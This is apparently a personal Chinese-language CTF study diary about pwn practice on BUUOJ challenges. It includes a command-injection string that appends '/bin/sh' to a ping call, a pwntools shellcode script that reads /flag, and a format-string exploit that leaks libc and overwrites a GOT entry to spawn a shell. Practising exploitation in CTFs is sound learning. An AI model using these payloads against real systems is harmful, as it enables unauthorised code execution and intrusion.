今天复现了一个gactf的wannaflag,od断到text直接就可以看加密,比较简单
在pwn方面,今天依旧在刷题,没学习什么知识
,(真是懒狗),不过做题过程碰到几个点,没有遇到过,提一下,
system(‘ping ;/bin/sh’)
system原来可以接连两三个指令
seccomp
可以用来限制系统调用,orz向我展示了pwntool的功能
orz
from pwn import *
p = remote('node3.buuoj.cn',25572)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',50)
shellcode += shellcraft.write(1,'esp',50)
shellcode = asm(shellcode)
p.send(shellcode)
p.interactive()
格式化字符串
fmt32,
可以泄露地址,确认libc,然后覆盖got表,
也是通过格式化字符串,只不过我偏移还不是算的特别熟练,需要加强,格式化字符串的功能还没有熟练掌握,说白了,还是不够熟练
from pwn import *
p = remote('node3.buuoj.cn',25269)
elf = ELF('./main')
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
strl_addr = elf.got['printf']
payload1 = 'a' + p32(strl_addr) + '22%8$s'
p.sendafter('tell me:',payload1)
p.recvuntil('22')
leak = u32(p.recv(4))
print(hex(leak))
libcbase = leak -libc.sym['printf']
sym_addr = libcbase + libc.sym['system']
high_addr = (sym_addr>>16)&0xffff
low_addr = sym_addr&0xffff
strlen_got = elf.got['strlen']
payload2 = 'a' + p32(strlen_got) + p32(strlen_got+2) + "%"+str(low_addr-18)+'c'+'%8$hn' + "%" + str(high_addr-low_addr)+'c'+'%9$hn'
p.sendafter('tell me:',payload2)
p.sendafter('tell me:',';/bin/sh\x00')
p.interactive()
明天任务,看完brop,有时间尽量刷题,复现re,毕竟位明天还想出去玩玩。。。